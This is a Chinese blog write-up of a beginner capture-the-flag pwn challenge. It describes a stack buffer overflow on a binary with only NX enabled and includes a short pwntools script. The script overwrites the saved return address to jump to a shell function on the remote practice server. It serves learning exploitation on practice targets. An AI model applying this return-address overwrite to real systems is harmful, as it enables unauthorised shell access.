CTF:第三题

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053&page=1

 

相比前两题,略有难度,费了点点劲,但是还好,没费太大劲

程序代码非常短,简单地说,就是缓冲区溢出拿shell

 

 

 

 

 

 然后前面有个函数叫做

 

 

 

这里其实就有点坑了,因为这里已经涉及到偏移了,比较麻烦。。。

 

先说这个缓冲区溢出吧,实际上它的目的是要让我输出一个足够长的字符串,这个字符串可以刚好覆盖函数的返回地址,之后直接跳到shell函数的位置,

即直接跳到 0x400596,目前有一个问题就是,这个程序是否有什么ASLR相关的功能,

查一下, 

 

查了一下之后发现,其实这玩意只开了一个NX,Windows 下这个叫做DEP,是做数据保护的,

行了,那我就直接尝试改函数返回地址为 0x400596 尝试一下。

 

复制代码
 1 from pwn import *
 2 
 3 #a = process("./291721f42a044f50a2aead748d539df0")
 4 a = remote('124.126.19.106', 33948)
 5 r = a.recvuntil('\n')
 6 print(r)
 7 
 8 str = "a" * 128 + "A" * 8 + '\x9a\x05\x40\x00\x00\x00\x00\x00'
 9 print(str)
10 a.send(str);
11 
12 a.interactive()
复制代码

0x80个常规字符 a, 然后追加 8个 A 是为了覆盖栈里面的老rbp,因为要跳到的目标函数里面不用rbp,所以也不会出现问题,

最后一串就是目标函数地址了

 

经过这么一搞,发现竟然真的成了

 

 

 

 输入一串字符,然后覆盖老rip返回地址之后,跳到了一个目标地址,可以拿到shell,flag 在目录中

 

这个题也没啥难点,就是需要判断和尝试,这题没开ASLR,如果开了ASLR的话,基址不固定,那就疯了。

我浪费了一些时间,主要也是在这个上面。

 

由浅入深吧,宗地来说,还是很容易的。

 

 

posted @   穷到底  阅读(161)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
点击右上角即可分享
微信分享提示